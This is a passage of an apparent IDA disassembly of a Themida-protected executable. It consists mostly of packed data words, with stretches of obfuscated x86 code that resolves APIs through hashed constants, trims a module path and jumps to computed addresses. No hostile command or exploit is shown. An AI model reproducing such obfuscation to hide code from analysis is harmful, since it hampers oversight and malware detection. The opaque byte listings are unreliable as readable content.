		dd 728E554Eh, 5D221CBBh, 767413E2h, 0E5A464B9h,	0DA9B6A57h
		dd 0A4964EB7h, 0F2C1900Bh, 4E276223h, 209BA496h, 964E385Fh
		dd 0C81D98A4h, 15DCD5B0h, 0F6BDB651h, 4302FFDAh, 1CC0CB27h
		dd 9ADF6CD3h, 0FC7ACFC3h, 0A46B64ABh, 854C45E0h, 0C7BF5E69h
		dd 0D62BE2FEh, 0D1A02117h, 88A79C10h, 1DE15C9Eh, 0A6C28982h
		dd 41FEFC9Bh, 5A196E25h, 4110DFE2h, 98BD1980h, 9F3EB9A2h
		dd 0EC5E1A4h, 0E62DEEB9h, 62A298BDh, 27C11BBEh,	0EA652730h
		dd 9A73771Bh, 8816537Fh, 1BF1B33h, 807069B0h, 0D8ED81E1h
		dd 0CE920D85h, 554F3A33h, 9B997490h, 900BC2DEh,	1FEEF915h
		dd 98B53B5Eh, 0C71C97A2h, 0C2913008h, 86B8E701h, 0DA9E1998h
		dd 0B275700Fh, 2C9C25Dh, 0E8A5A33Eh, 0E786B624h, 12D126EFh
		dd 0BCC9B26h, 6177BEA9h, 0F5D0EC67h, 67438F9h, 4C5A892h
		dd 5B69B085h, 7847C23Dh, 1CDDD9h, 0DFDCF449h, 5B69B0BCh
		dd 0F7257638h, 0AFF64C00h, 3C26h, 0BAB6B800h, 0B9E0DDF9h
		dd 415B69B0h, 8A658148h, 18AECA91h, 0C2E20556h,	706CB304h
		dd 3ACF786h, 0EA896954h, 0E0AF2AF1h, 64E3583Ch,	90E543B0h
		dd 16B413D0h, 0A585B69h, 0FFFFFFA0h, 0FAB9B698h, 928B3988h
		dd 91A719A8h, 4038CF23h, 56EEB2F6h, 80000000h, 622DE286h
		dd 41870C39h, 8B0D2DECh, 413FD52Eh, 0B80EE084h,	8656C843h
		dd 0B093F6B7h, 0B42F5B69h, 0B4D3945Fh, 0C5B69B0h, 0B01D7C3Dh
		dd 0ECAD5B69h, 5B69B0ADh, 14E3AA25h, 69B03453h,	96118C5Bh
		dd 1486A91Bh, 87F9BAB6h, 550742F0h, 38000000h, 83D8A199h
		dd 19A89215h, 97B2AB4Ah, 69B0B3D6h, 19940F5Bh, 0C58656C4h
		dd 5B69B042h, 975E57F6h, 0E2DD7C42h, 0BF88801Fh, 1486D244h
		dd 0D9D5BAB6h, 0CA45FC18h, 0A05F5CFBh, 3DFECD84h, 5B69B0DAh
		dd 38A6FB76h, 33CAE286h, 88DA77D6h, 0F7AECA8Dh,	18C6277Ch
		dd 0DCF8BBB6h, 69B0B8DFh, 8047405Bh, 61118464h,	9F4D6A1Dh
		dd 27430400h, 5B7ECF91h, 0E52C7D3Bh, 420B03EAh,	5B59F8C7h
		dd 43BE7D7Ah, 0C4632EEEh, 0DDE804CBh, 697CFD1Ch, 5FDA555Bh
		dd 0C554D0Ah, 115F5B69h, 0FFFFF394h, 0F9BAB69Fh, 0DA9B6A35h
		dd 5B69B0BFh, 0DEE66F13h, 43950EF2h, 693029C8h,	8241964Dh
		dd 93F6B7B6h, 2F5B69A4h, 0A96A39B4h, 6177A9F3h,	0A0C4C165h
		dd 0E9DEB4D0h, 502DD194h, 0DE15C44h, 2DCC9B16h,	9D547031h
		dd 3D8A0DCEh, 0CB46A29Bh, 22615E76h, 0BAA29B3Dh, 7E79A7F8h
		dd 0A9B603BBh, 34C72805h, 0E7869351h, 0BD72CE9h, 7, 1079Dh
		dd 92950000h, 0AD4C1BA6h, 1BD2EEB3h, 0B00C8B4Ch, 49C45B69h
		dd 0A46829F4h, 246177C7h, 0B6B28DA9h, 7F7431F5h, 0AFA29858h
		dd 6530F4B1h, 69EA5DC1h, 71C68F91h, 4C1BD8D6h, 50EFB2ADh
		dd 223A8F58h, 1DDBC36Dh, 0CA8785CCh, 0AF6E6B06h, 0A3D87C87h
		dd 4675AF14h, 0BDBA55AAh, 0E9F8D6FEh, 6F8B504Ah, 5E1B19B8h
		dd 0F33A8B09h, 0E722E3F6h, 7EA29875h, 2B1DC011h, 1E996020h
		dd 865C0AA3h, 904EDE7h,	0F8732A46h, 3FD621A3h, 0AD51B076h
		dd 0AA737167h, 61DFB6FAh, 74193FEBh, 0EAD8A4F9h, 6A000000h
		dd 0A517AA92h, 0B047C586h, 83FE5B69h, 86148611h, 0B093F6B7h
		dd 0B42F5B69h, 6F89E15Fh, 0DDD6B9B6h, 413335EDh, 883684Eh
		dd 2EEFBE8Dh, 5B6957EBh, 2997EC67h, 0A8928B39h,	0A5D099F0h
		dd 0B833C0FEh, 0F6E28646h, 460F077Ah, 0F8A3C3A2h, 0CF75E3A3h
		dd 0B2F64038h, 40EEh, 0A8928000h, 0B786A719h, 0B0E027E8h
		dd 8A885B69h, 33FAB1CDh, 63A663B8h, 0DF5B69B0h,	0B786F264h
		dd 0A5599913h, 0BEBA77A9h, 0BF2D82FDh, 87F9BAB6h, 0E28642F0h
		dd 0B4703964h, 4A94E945h, 4Bh, 0F6B786D8h, 5B69B093h, 0D394902Fh
		dd 0F6440358h, 0B78659CBh, 0B0E027E8h, 0E5605B69h, 0B0325516h
		dd 138E5B69h, 0B08601BEh, 0BC375B69h, 3A5D1EEDh, 965B69B0h
		dd 8658C61Bh, 0F9BAB614h, 0EAE78687h, 39340F2Bh, 28A35A76h
		dd 7C472D3h, 0FFFFFEF3h, 0FAB9B695h, 1E0603DEh,	8283E1Ch
		dd 0FEC23DF5h, 0AF979433h, 936E4662h, 0F84DC86Ch, 8499FF39h
		dd 0D79A9521h, 416004BBh, 2CFB765Ch, 3C0BE5Dh, 65F3F1AEh
		dd 920D6177h, 7D1A7976h, 10D2A29Bh, 7B6691BFh, 0F2C1B603h
		dd 9B75D631h, 9AEF6AA2h, 42CEh,	0A75F0300h, 7A20B30Ch
		dd 86920055h, 0D72CE9E7h, 0D2A12018h, 77BF3711h, 0EEEA8961h
		dd 0D34E0B09h, 698500B7h, 9840296Ch, 17B6C5A2h,	87055A1Bh
		dd 5BEF0836h, 9938B604h, 7BEDA9Fh, 10AE6B2h, 0B6780000h
		dd 0D3DEFAB9h, 502C442Fh, 0CD220EEDh, 0A2713A32h, 29450803h
		dd 2A051D72h, 77526E2Dh, 0AA37927Ah, 6B875048h,	0BA4D10B4h
		dd 97F2B382h, 2B5B6989h, 0B47135B0h, 5B698D1Dh,	4D11D0CDh
		dd 0DAF6B5B2h, 95645DDBh, 77F074D4h, 0B4754461h, 0A29BAF55h
		dd 5A1D72EDh, 0B1501BDFh, 82DCCCB4h, 41DD0CE8h,	86B271C6h
		dd 0ECE326E7h, 0BB5FA29Bh, 98E235D6h, 0D752CDE2h, 0AB6E6908h
		dd 0F3BCB48Fh, 50A520D7h, 1F12B685h, 15CF2B92h,	0A4F2AF04h
		dd 5C9888CCh, 0A44312E1h, 16CDE9A6h, 652E26C1h,	210E06A1h
		dd 6C476326h, 0D990AC73h, 5E8DE35Eh, 0B2228683h, 277CC56h
		dd 49400000h, 231FBA7Eh, 8039E62h, 0ECE68145h, 0D0C86327h
		dd 0AC184307h, 0B4784139h, 95592019h, 7B3FFCFAh, 6024E3E0h
		dd 1884914h, 0C15D7DD9h, 0B786AA58h, 69B093F6h,	5FB42F5Bh
		dd 0E1DFCCC4h, 3BDAA924h, 0F6AC553Fh, 0C0D28BB8h, 9530F045h
		dd 0A715D998h, 4C1BA692h, 77BFCD8Bh, 6C880361h,	98402C6Fh
		dd 15B9C8A2h, 0D7A106Eh, 6FED42C3h, 17D8A71Eh, 0A298F2F0h
		dd 0FE80D550h, 0B60509F9h, 0C92Dh, 0E786BF00h, 490E08E9h
		dd 0A6FB762Dh, 334F0E0Bh, 7B976058h, 69B4537Eh,	0DB9A975Bh
		dd 0C07F7C17h, 9CA99A4h, 0A4964B8Eh, 0B372C742h, 0AC6D3C85h
		dd 9E883EACh, 0F7A38024h, 30A0FBAFh, 58D39691h,	2FECEA89h
		dd 0DD5B1ADAh, 0A74615E4h, 2CBC3AEh, 98B42FE6h,	8601C0BDh
		dd 75857431h, 0C23D988Bh, 8C8524F3h, 0C5E1A8A1h, 0C077930Eh
		dd 0FD8D06Bh, 0E3A6A140h, 3B33CE8Eh, 15371C72h,	0DB372287h
		dd 17051h, 85504700h, 692A26C1h, 4C0F0AA5h, 2EF3ED88h
		dd 0ED7CF6Ah, 40A51F4Ah, 20BB7F48h, 19C6027h, 0E7824603h
		dd 1B672BEAh, 0DA088F50h, 5FC85D7Dh, 0F5BEB6B1h, 0B6999631h
		dd 7D3CD2B8h, 3BEE0648h, 72EDA4C0h, 0B9B640AEh,	0B6872BFAh
		dd 0ED8C23Eh, 95A0B80Dh, 1F3BF8F6h, 7B781368h, 0FF39F8BCh
		dd 62DDA69Eh, 5B22D293h, 239E6177h, 0F9B8B554h,	0DE9D9A35h
		dd 4C75C3C2h, 0E24FD97Dh, 466C115Bh, 0B35726F1h, 0EF05D3F9h
		dd 12CF2409h, 988F775Ch, 0C41369E4h, 2422B954h,	0D33EC8h
		dd 0EDE40000h, 0C7C35E22h, 0ACA74206h, 908A25E9h, 746C07CBh
		dd 8BCE7ABh, 581CE5DDh,	39FDC4BDh, 1FE3A09Eh, 4C88784h
		dd 0ED2CEDB8h, 655D7DDBh, 0A6924EFCh, 0A38B4C1Bh, 61617DFEh
		dd 7A7817E6h, 2F332394h, 0EB664531h, 0C0C0EFCFh, 0DEF9A9CCh
		dd 1BF60E63h, 9B5F1Eh, 2B284403h, 5F1B8592h, 0A3BF7C7Ah
		dd 0E6E3D0C8h, 0D9540B27h, 2273F1BDh, 0F796A5FFh, 671E3AFBh
		dd 0CC439412h, 4C48352Dh, 3DB86F8Bh, 91504DE8h,	622B23C2h
		dd 0C8C6BCBEh, 2571B22h, 0EBAAA742h, 0BE837D1Ch, 4F4CEBA2h
		dd 48233B90h, 0AA67654Eh, 405CD78Eh, 3C3AD9E4h,	57AC637Fh
		dd 444188D9h, 2926C185h, 69854E46h, 101B37B2h, 2A198041h
		dd 3EB9F50Dh, 39FE9h, 332D0000h, 0F4BFB681h, 4100FDD8h
		dd 8F4C4A25h, 0D89F9873h, 20E9E1BCh, 68312904h,	0B277714Ch
		dd 0FDC0BB96h, 490A06E1h, 8956692Dh, 4C681E6h, 57000000h
		dd 4BFh, 5FFE2900h, 5C243487h, 547168h,	241C8900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 57242C89h, 5097BB53h, 0DF890614h
		dd 5FFB895Bh, 205C68h, 24248900h, 4240481h, 5D000000h
		dd 8B951h, 0E9010000h, 0C8B1989h, 4C48124h, 8B000000h
		dd 8951242Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFFA11F4h, 0E36C1E77h
		db 4Eh,	15h, 18h
; ---------------------------------------------------------------------------


loc_5B02AF:				; CODE XREF: Themida_:005AE5D0j
		mov	eax, 6146C26h
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+60E2F11h], 47h
		push	0CF381725h
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+60E2571h]
		push	eax
		push	104h
		call	ebx
		mov	byte ptr [ebp+60E2F11h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	[ebp+6144E6Bh],	eax
		cmp	dword ptr [ebp+60E0935h], 0
		jz	loc_5B0319
		mov	ebx, [ebp+60E1E6Dh]
		jmp	loc_5B031E
; ---------------------------------------------------------------------------


loc_5B0319:				; CODE XREF: Themida_:005B0308j
		mov	ebx, 0


loc_5B031E:				; CODE XREF: Themida_:005B0314j
		push	100h
		lea	esi, [ebp+6144E6Fh]
		push	esi
		push	ebx
		call	dword ptr [ebp+60E1D89h]
		lea	esi, [ebp+6144E6Fh]
		add	esi, eax
		jmp	loc_5B033F
; ---------------------------------------------------------------------------


loc_5B033E:				; CODE XREF: Themida_:005B034Bj
		dec	esi


loc_5B033F:				; CODE XREF: Themida_:005B0339j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5B0351
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5B033E


loc_5B0351:				; CODE XREF: Themida_:005B0342j
		mov	byte ptr [esi],	0
		lea	eax, [ebp+6144E6Fh]
		push	eax
		call	dword ptr [ebp+6144E6Bh]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		fild	qword ptr ds:0DFA972DFh
		retn	0B805h
; ---------------------------------------------------------------------------
		db 2Ch,	38h, 0
		dd 1A98BEAh, 6E2E9720h,	50D061F8h, 7C3FA382h, 68FA0778h
		dd 5C7A302h, 256AD52Ah,	0DBF6B1Ch, 17512429h, 1E1BAABEh
		dd 5FAD1BA8h, 4A4F1223h, 3E2CDD1Fh, 1BB32513h, 4B4550C2h
		dd 727587B8h, 431DBCDDh, 33F98F3Fh, 6CE1C751h, 29E9h, 0A4877E00h
		dd 1D8C9319h, 81E89DE6h, 64746E2Eh, 642E6C6Ch, 67006C6Ch
		dd 3B2BD14h, 0FEB980h, 2 dup(0)
		dd 94E90000h, 68000006h, 6146F77h, 0FA10A3E9h, 705F68FFh
		dd 99E90614h, 68FFFA10h, 61470EFh, 0FA108FE9h, 71A468FFh
		dd 85E90614h, 68FFFA10h, 6147273h, 0FA107BE9h, 734F68FFh
		dd 71E90614h, 0E5FFFA10h, 0C45F23EEh, 0A84307C8h, 8B26EAADh
		dd 6D08CC91h, 0BDE8AC75h, 1DE6DE07h, 0FEC5BE59h, 0E4A19F3Ah
		dd 0C9888520h, 2DEEB905h, 5D7DDEEAh, 74FFD66h, 42h, 0EAE78695h
		dd 3580F2Bh, 0DDAC6B68h, 9EC38D39h, 6F3ADEA5h, 374FA46Bh
		dd 0CE00882Ch, 89657D0Ch, 0F094CE5Fh, 3E93905Eh, 23E7A6A3h
		dd 69BF2766h, 0ECCDCB5Bh, 32122EF1h, 5E18DD0Ch,	9D1893A6h
		dd 0E2866BD9h, 6029AA1Dh, 8140952Eh, 7A3B0AB7h,	61774C2Eh
		dd 7C413BDAh, 9154A960h, 9EFDFA16h, 62A29BCCh, 0BF827D6Ah
		dd 544D2844h, 5715718Dh, 7638E306h, 0D000F725h,	5926B603h
		dd 0B8000002h, 0E15776DCh, 9DFCBD8Ch, 355B69B0h, 0B09EF9BAh
		dd 63325B69h, 69B067A2h, 0E560DB5Bh, 6A864D46h,	0A86938B3h
		dd 6177DF14h, 0E68A59D4h, 0B8901684h, 398ED74h,	725E59F8h
		dd 27946188h, 0C5E15CDEh, 88FCB90Eh, 4CE66905h,	6706D5ECh
		dd 8651A66Fh, 0B55473C5h, 95562554h, 74DD3472h,	3BFE53CEh
		dd 93A5A4C0h, 0C8C05F2Eh, 1EDFAAFFh, 4ECF9B6Bh,	0CE9D6CE7h
		dd 0A5DB3EFFh, 0D87772CAh, 4DA21DDAh, 32F6B5B2h, 85DB9A97h
		dd 0F8C498D0h, 784AD430h, 2D000004h, 0CA76B36h,	0F08B4F10h
		dd 0D36E32F5h, 0B55014D9h, 530F4BDh, 652E265Fh,	460D06A1h
		dd 2CE9E782h, 11D0CD68h, 7536014Dh, 5D7DDF12h, 0B69745AEh
		dd 8C2BFAB9h, 0FBB2CE91h, 0E4838EA6h, 0FF0A26E9h, 69B0DB3Eh
		dd 81FC775Bh, 0F6CB6D2Ch, 0C7166627h, 26CA6177h, 2CE466D8h
		dd 490C612Fh, 2F950ACEh, 49A8EC90h, 7941C889h, 8601A298h
		dd 80774BE2h, 0F5CC6C2Bh, 29576526h, 16919886h,	0E7B0A847h
		dd 23F2FD92h, 0ACC88784h, 77D534F5h, 0C96DA88Ah, 39E829DCh
		dd 9EF36E69h, 0E4815DE1h, 10B18707h, 0CF288041h, 11E03A31h
		dd 5E4DC950h, 0B90E890Eh, 605F7BF6h, 591AE9D8h,	344CE2AEh
		dd 0C28B8322h, 3DD732F3h, 0F06B144Fh, 0A07A675h, 1DBC874Bh
		dd 7F423D20h, 0DC31E804h, 2F854441h, 9E4100B0h,	90EA74D0h
		dd 15000003h, 0F48F531Eh, 0D87337F8h, 0BB561ADDh, 9D38FCC1h
		dd 0ED18DCA5h, 4D160E77h, 2EF5EE89h, 14D1CF6Ah,	0F9B8B550h
		dd 5D1EE935h, 5D7DC03Ah, 0B67F2D96h, 0DFDEFAB9h, 0D8996859h
		dd 6177D934h, 96551994h, 8F501FA2h, 988FC93Dh, 6F5C54F3h
		dd 0DB92AE77h, 388D4460h, 8C2BFA75h, 25E9A78Fh,	161CE1F5h
		dd 6D0CD79Bh, 1DDEAD74h, 0A8B42CFAh, 0EB86DB56h, 14132FEEh
		dd 0B8817924h, 9B6AE59Ch, 0AA2E5ADAh, 0A5FB7692h, 3CA81424h
		dd 56E03Ch, 0A5000003h,	841FE3AEh, 6803C788h, 4BE6AA6Dh
		dd 2DC88C51h, 7DA86C35h, 0DDA69EC7h, 0BE857E19h, 0A4615FFAh
		dd 894845E0h, 0EDAE79C5h, 5D7DC0AAh, 0B60FBD26h, 0DFDEFAB9h
		dd 0FA996859h, 6B223EFDh, 968A4B16h, 4A6177CCh,	99C10BCFh
		dd 4F000001h, 0CE6A81DCh, 516324F3h, 8F6177DFh,	6198FFC0h
		dd 0BD38A298h, 0CF9EA942h, 98618B0Eh, 77CC47A2h, 57761BBAh
		dd 1410AFA9h, 59644D2Ah, 0C742BA0Dh, 0E09FF4ABh, 0CB9A6958h
		dd 89DC3BFCh, 0F9745FDDh, 85F9E7A4h, 6CE765C3h,	0DAE75150h
		dd 325F4A0Bh, 98139FDDh, 6E2D2AC9h, 53120FAAh, 0F33356FDh
		dd 0A42E8A29h, 24Bh, 0D498635Ah, 0B87C3D39h, 9B5F221Dh
		dd 7D410600h, 5D21EAE2h, 5B53B232h, 3A33CE92h, 1614AF73h
		dd 0FDFA9559h, 632E7A3Eh, 7DC167A2h, 0C472DB5Dh, 0DEFAB9B6h
		dd 973F59DFh, 3AB6A3ABh, 5A394EC2h, 138E4259h, 0B408C998h
		dd 74617706h, 1E8312D0h, 7829F4Dh, 0B574CE43h, 0A2F19111h
		dd 0E642E6A5h, 7C61B53h, 0C19031h, 98850CECh, 1B18B12Ch
		dd 19AF3DD3h, 0E1DAC375h, 0CC47FE1Ah, 7843CFDh,	0C13C0475h
		dd 975653F2h, 0D2B2A42h, 7524E5B4h, 0ED3F8FB0h,	0B04A372h
		dd 55B47544h, 0ED038AF0h, 0B3521D72h, 0A7E2A3B6h, 1B038AF0h
		dd 0B25625A0h, 8FFFEBF3h, 68AF70E2h, 0E8038AD1h, 0DD9DF26Dh
		dd 30864542h, 8984ECD3h, 7CCD57B3h, 29000001h, 8A36732h
		dd 0EC874B0Ch, 0CF6A2EF1h, 0B14C10D5h, 12CF0B9h, 612A2243h
		dd 4209029Dh, 28E5E37Eh, 0DCCC964h, 7132FD49h, 5D7DC216h
		dd 0B69341AAh, 0DFDEFAB9h, 7A701459h, 0FD5386FAh, 0CC40C788h
		dd 5C005B69h, 0E3BBAAAFh, 229D18A8h, 0F1F29253h, 0D34E6177h
		dd 15743504h, 0ADA2984Eh, 0AF1DDD32h, 4C1BA692h, 7E1E378Bh
		dd 5D1EED61h, 0A282223Ah, 37FEF796h, 6EE9641Bh,	4403009Fh
		dd 1BD8D675h, 6E6B06C6h, 4941E0AFh, 0FBD1EF57h,	50CB9F96h
		dd 10287D34h, 12753605h, 0AEA282AEh, 191FDE33h,	3C18D9A8h
		dd 8C989503h, 0A4734211h, 0BF00A4E3h, 345314A8h, 8CA8BF00h
		dd 7ACF4A11h, 5F23E2DFh, 0EC08C7C4h, 0A7764BEDh, 0A170CAE6h
		dd 257BF692h, 3CAF0DC2h, 0A0B8429Eh, 5000000h, 0E47F430Eh
		dd 0C86327E8h, 0AB460ACDh, 8D28ECB1h, 0DD08CC95h, 3D06FE67h
		dd 1EE5DE79h, 4C1BF5Ah,	0E9A8A540h, 4D0ED925h, 5D7DC3CAh
		dd 926F1D86h, 8B4C1BA6h, 617E1DCDh, 0EAB98803h,	0CD8E4F4Bh
		dd 0A282224Ah, 1E368B06h, 0C3874643h, 2D0354F8h, 605B2B0Fh
		dd 0B473700Bh, 78FA9B98h, 0B8C782F1h, 57254B14h, 4E4B863Ah
		dd 41BF148Fh, 0EDACA9F0h, 0D2918E29h, 1CE1DBB6h, 5ABD7E4Dh
		dd 0F68153B5h, 0B20E267Bh, 5F5CA3F4h, 4441DCA0h, 0BA5E6985h
		dd 0E5D6A8CAh, 7BC51A9Fh, 3, 0B6813309h, 0FDD8F4BFh, 4A254100h
		dd 98738F4Ch, 0E1BCD89Fh, 290420E9h, 714C6831h,	0BB96B277h
		dd 6E1FDC0h, 692D490Ah,	3B5968h, 24348900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	41E5h
		mov	[esp], edx
		push	2098h
		mov	[esp], ebx
		mov	ebx, 6146E2Fh
		mov	esi, ebx
		pop	ebx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	5342h
		mov	[esp], esi
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		sbb	[eax], ah
		cmpsb
		mov	eax, 6147414h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 2F1E968Eh, 0A87AD8Eh, 332D92B1h, 1337D874h, 50443D28h
		dd 49F606B7h, 38BA8A74h, 500B1306h, 10B85FD4h, 1677D7E2h
		dd 0EEB8817h, 2156D3CDh, 36AA8E0Eh, 81163C0h, 519E433Ah
		dd 18BDB7Ch, 73DDD9F4h,	6DEBD144h, 7A8CD550h, 19550E27h
		dd 0F5E8BC5h, 5F84432Bh, 1ADF4399h, 0C45F296h, 44FAB48Fh
		dd 5919513h, 226AA032h,	64B75FD0h, 0BE8h, 0D2987D00h, 67C5BB79h
		dd 5DB46C89h, 0D840Fh, 8E90000h, 0AE000000h, 0E556C488h
		dd 5AD37FA0h, 0FE8h, 56A2400h, 0CB67D726h, 37B2C23Dh, 365DD0D1h
		dd 0BFC2815Bh, 5100006Ah, 0D8F0Fh, 7E80000h, 62000000h
		dd 6A1B2296h, 585F63D2h, 0FE9C933h, 4C000000h, 0D6E0AEBBh
		dd 7A053678h, 0FCD1E26h, 348BB213h, 0CF81660Ah,	0C6819297h
		dd 4BB53106h, 0F8D13EB8h, 72F68144h, 0BB6CA5F9h, 10FDFE94h
		dd 632CEE81h, 0BE60765Ch, 277008Fh, 0A348961h, 18C0Fh
		dd 66F80000h, 0E981C78Bh, 5C6DA338h, 0A334C181h, 81605C6Dh
		dd 68325DF6h, 0CE934h, 627B0000h, 2A671035h, 64B3678Fh
		dd 8161B4B5h, 0FF9614F9h, 97850FFFh, 0FFFFFFFh,	384h, 0C3BF0F00h
		dd 13E9h, 0E95CE00h, 6,	3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B1063
; ---------------------------------------------------------------------------
		push	61476EEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6147759h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	614789Bh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0AC470BD6h, 902BEFB0h, 730ED295h, 55F0B479h,	0A5D0945Dh
		dd 5CEC63Fh, 0E6ADA641h, 0CC898722h, 0B1706D08h, 15D6A1EDh
		dd 5D7DC6F2h, 0B637E54Eh, 8226F5BEh, 50954F89h,	1830857Bh
		dd 0B281403Dh, 4AE722E3h, 0BC5B5B69h, 2B80FBC4h, 358CAC6Bh
		dd 452BA566h, 1A956177h, 5B8201FEh, 985AA29Bh, 60DE1947h
		dd 0BB48B603h, 0DA000002h, 0E45477DCh, 756F0EDDh, 88DD94B0h
		dd 0DFE8FCBDh, 0AD286177h, 0C76D1714h, 59DFA13Eh, 0A0D89968h
		dd 209DFBA1h, 0AE8A89A5h, 1430F5EFh, 5213E25Dh,	9709BADEh
		dd 803D3BDAh, 6DC4682Bh, 55457999h, 9130FF7Ah, 4611D594h
		dd 0D495ACA7h, 0AB1964B5h, 0FB17920Dh, 0E9A8A544h, 26C116CDh
		dd 59146A29h, 0B9211741h, 2D6D35Dh, 0ADA40000h,	87831EE2h
		dd 6C6702C6h, 504AE5A9h, 342CC78Bh, 0C87CA76Bh,	18DCA59Dh
		dd 0F9BD847Dh, 0DFA3605Eh, 0C4884744h, 0ADECAD78h, 255D7DC6h
		dd 0A6920EBCh, 3B342FF2h, 5356CE4Ah, 2BE488F7h,	16E5602Dh
		dd 66BB7A77h, 8A9EDA9Bh, 0B732617Eh, 885149E8h,	683129C4h
		dd 86CF4F4Ch, 0B8B5A285h, 0A33EA3F9h, 0E23E288Bh, 26B58h
		dd 4D180F00h, 31F2EE89h, 14D7D26Dh, 0F6BBB550h,	0D69F9732h
		dd 87DE712h, 0E8834710h, 0C96428EFh, 0AF4A0ECBh, 0E32FF3B2h
		dd 0C7305718h, 27905D7Dh, 1BA69279h, 262D8B4Ch,	3FE3617Eh
		dd 0EF322926h, 8DA92452h, 82620D90h, 0D627E9A2h, 0A764FA8h
		dd 190D7B6h, 86690000h,	5BCC4FE2h, 0ED42300Dh, 7A965552h
		dd 10D7D06Fh, 642320BBh, 6A57E1A0h, 0D828CC9Bh,	0DE25E40Ah
		dd 0A448055Ah, 646177E3h, 827B1AE9h, 0FF63A667h, 64DFA29Bh
		dd 7F7C94E9h, 0A29BFF1Ch, 0C28E7E4h, 57733631h,	67AEFFC1h
		dd 832EA96Ch, 0B54270C1h, 71B603F8h, 4Dh, 0C7A69203h, 0E884DC23h
		dd 0C98AEC55h, 5B69DB4Eh, 0DBDE39FAh, 0F7725B69h, 6B3AB530h
		dd 77D4AEAAh, 827B1A61h, 0F376E792h, 0BB360401h, 0C28A366h
		dd 0A5666201h, 33709350h, 2AECA29Bh, 0C94CABD9h, 3CDBB603h
		dd 5A267B44h, 89h, 0FAB9B6ECh, 3A34D3DEh, 8D852075h, 0D0CDA8C4h
		dd 819E4211h, 2E1D8D3Ah, 0AE5FD52h, 0CD8A4E0Dh,	5B69186Ch
		dd 0D4985754h, 0CF9E2315h, 7AFEB60Eh, 28F77261h, 4C89189h
		dd 52A87169h, 28979787h, 29FD87E3h, 51000001h, 30CB8F5Ah
		dd 14AF7334h, 0F7925619h, 0D97438FDh, 295418E1h, 89524ABBh
		dd 6A312AC5h, 500D0BA6h, 35F4F18Ch, 995A2571h, 5D7DC87Eh
		dd 0B6BB69D2h, 6631F5BEh, 364F2AC2h, 5AAF727Ah,	3F03C2BFh
		dd 0F6B786D1h, 5B69B093h, 0C45FB42Fh, 11EC08C7h, 72373114h
		dd 60249F56h, 0E0697A1h, 0A3722945h, 69B0A7E2h,	25A01B5Bh
		dd 0FABBB756h, 7D227DEh, 63409438h, 645E2F4Ch, 2302520Fh
		dd 43BE6177h, 0F0DDD574h, 9BB732F5h, 25C48FE4h,	0E3A0642Dh
		dd 0A29B3FA0h, 0C88C4B48h, 506C352Dh, 87C6h, 0A6925400h
		dd 0B2AD4C1Bh, 8F5850EFh, 9C67BC73h, 7E2699DBh,	0A0BC3761h
		dd 4509C8C5h, 0D2EEADAAh, 6F1534D5h, 0EE3F01A2h, 27EBAAA7h
		dd 0E715B85Ch, 0E180AC21h, 11F4F18Ch, 0CDB5613h, 96B26F6Dh
		dd 97728ADFh, 60BCD89Dh, 0D0A51A2h, 516D2E2Ah, 81501F9Ah
		dd 0B9B059C0h, 297EF9A2h, 12D1CE69h, 0E4ABA443h, 1DED778Fh
		dd 1E000000h, 0AA6B867Fh, 0A2B9B06Fh, 98ED68E3h, 5524332Ah
		dd 69B07594h, 362ECD5Bh, 2F9DF26Dh, 0D8F4BFB6h,	254100FDh
		dd 738F4C4Ah, 0BCD89F98h, 420E9E1h, 4C683129h, 96B27771h
		dd 0E1FDC0BBh, 2D490A06h, 4EC8369h, 89240489h, 405E0h
		dd 0E8830000h, 24048704h, 7DF2685Ch, 0C890000h,	109C6824h
		dd 4890000h, 0E1BB5324h, 876DCE09h, 87D2F7D3h, 7EBC1D3h
		dd 0EB81DBF7h, 0F8C725FDh, 545BD989h, 8124048Bh, 4C4h
		dd 2C815100h, 4902FD24h, 8408F52h, 0FD084081h, 0FF524902h
		dd 83582434h, 34FF04C4h, 0C4815924h, 4,	0FA0447E9h, 0CD8E12FFh
		dd 1486E67Fh, 10A3FDB9h
		db 0A5h, 92h, 0DDh
; ---------------------------------------------------------------------------


loc_5B1063:				; CODE XREF: Themida_:005B0BF0j
		mov	eax, 61479E9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		or	[edx-2Bh], al
		cmp	eax, 7DC72978h
		push	0B25D77C9h
		retn
; ---------------------------------------------------------------------------
		dw 5320h
; ---------------------------------------------------------------------------
		adc	eax, 0F42EF81Ah
		lodsb
		and	al, [ebx-1]
		push	0FFFFFFD3h
		aas
		xchg	eax, esp
		inc	edx
		xchg	eax, esi
		sbb	[edx+7], esi
		fnstsw	word ptr [edi]
		or	ch, 0EAh
		cmp	al, ds:[ebp-9]
		push	ebx
		push	es
		mov	eax, ds:49C21493h
		retf
; ---------------------------------------------------------------------------
		align 10h
		dd 0D22D2EDh, 109F717h,	62EDC0DEh, 7B7B8D8Dh, 0BD010614h
		dd 60E1F6Dh, 2FC58D89h,	8D0F060Eh, 6, 17D98531h, 0B589060Eh
